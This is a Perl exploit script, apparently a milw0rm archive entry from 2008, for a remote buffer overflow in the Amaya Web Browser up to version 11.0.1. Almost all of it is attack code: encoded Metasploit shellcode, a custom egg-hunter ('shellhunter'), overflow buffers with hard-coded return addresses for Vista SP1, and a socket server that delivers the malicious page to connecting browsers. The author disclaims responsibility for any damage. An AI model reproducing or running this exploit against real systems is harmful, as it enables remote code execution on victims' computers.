Welcome to SkD's world!

#!/usr/bin/perl # # Amaya Web Browser <= 11.0.1 Remote Buffer Overflow Exploit # Found/Exploit by SkD (skdrat@hotmail.com) # (skd@abysssec.com ) # ----------------------------------------------- # This is advanced buffer overflow exploitation using # my new method called shellhunting :) # # Get more information about this at http://abysssec.com # # "Remember to connect to the webserver the link needs to end with .html, eg: http://127.0.0.1/s.html ("s" can be whatever) " # # Exploit works only on a fully patched Vista SP1, but you # may need to click 'Refresh' to make the shellcode exec # sometimes. # # Note: Author has no responsibility over the damage you do with this! use strict; use warnings; use IO::Socket; my $html; my $port_listen = 80; # change this to your desired port! my $listenip = "127.0.0.1"; # change this to your desired IP! # win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44". "\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47". "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38". "\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48". "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c". "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58". "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44". "\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38". "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33". "\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47". "\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a". "\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b". "\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53". "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57". "\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39". "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46". "\x4e\x46\x43\x36\x42\x50\x5a"; # my own shell hunter.. :) it is 98% alphanumerical. # 2nd variant of the shellhunter, to make the exploit more reliable.. my $shellhunter = ("\x58\x58\x40\x40").("\x47" x 4).("\x42" x 6). #inc edi ("\x42" x 24).("\x42" x 24).("\x39\x07\x75\x8b\x71\x71"). ("\x47\x47\x47\x47\x57\xFF\x65\x78\x77\x76"); my $overflow = "\x42" x 158; my $overflow2 = "\x42" x 4; my $overflow3 = "\x43" x 430; my $overflow4len = 977 - ((length($shellhunter) - 7)); #very important calculation my $overflow4 = "\x44" x $overflow4len; my $sled = "\x42" x 12; my $sled2 = "\x41" x 24; my $eip2 = "\x37\x55\x03\x10"; #10035537 call ecx, this won't be used my $eip1 = "\x30\x4f\x01\x10"; #10014F30 call esi, this will be used. my $heapaddr = "\x50\x0e\x08\x10"; #valid char for buffer, heap address my $lookout = "\x37\x65\x41\x45" x 40; # 45446537 look out values <- my $lookout2 = "\x37\x65\x41\x45\x41" x 4; # 45446537 <- my $lookout3 = "\x37\x65\x41\x45\x41\x41" x 4; # 45446537 <- my $lookout4 = "\x37\x65\x41\x45\x41\x41\x41" x 4; # 45446537 <- my $additionaddr = "\x35\x65\x41\x45"; #used for an addition in the shellhunter (+2) my $nopsled = "\x90\x90\x90\x90\x90\x90"; my $jmp = "\x75\x0c"; print "[x] Amaya Web Browser <= 11.0.1 Remote Buffer Overflow Exploit\n"; print "[x] Found/Exploit by SkD (skdrat@ hotmail.com)(skd@ abysssec.com)\n"; while(1) { my $sock=new IO::Socket::INET(Listen=>1,LocalAddr => $listenip,LocalPort=>$port_listen,Proto=>'tcp'); die unless $sock; print "[x] Waiting for clients on port ".$port_listen."..\n"; my $s; while($s=$sock->accept()){ print "[x] Got a client!\n"; my $request = <$s>; print $s "HTTP/1.0 200 OK\nContent-Type: text/html\n\n"; print "[x] Serving Exploit HTML page :)\n"; print $s "\n". "Welcome to SkD's world!\n". "\n". "\n". "\n". "\n". "\r\n"; sleep(0.5); close $s; print "[x] Done!\n"; } } # milw0rm.com [2008-12-28]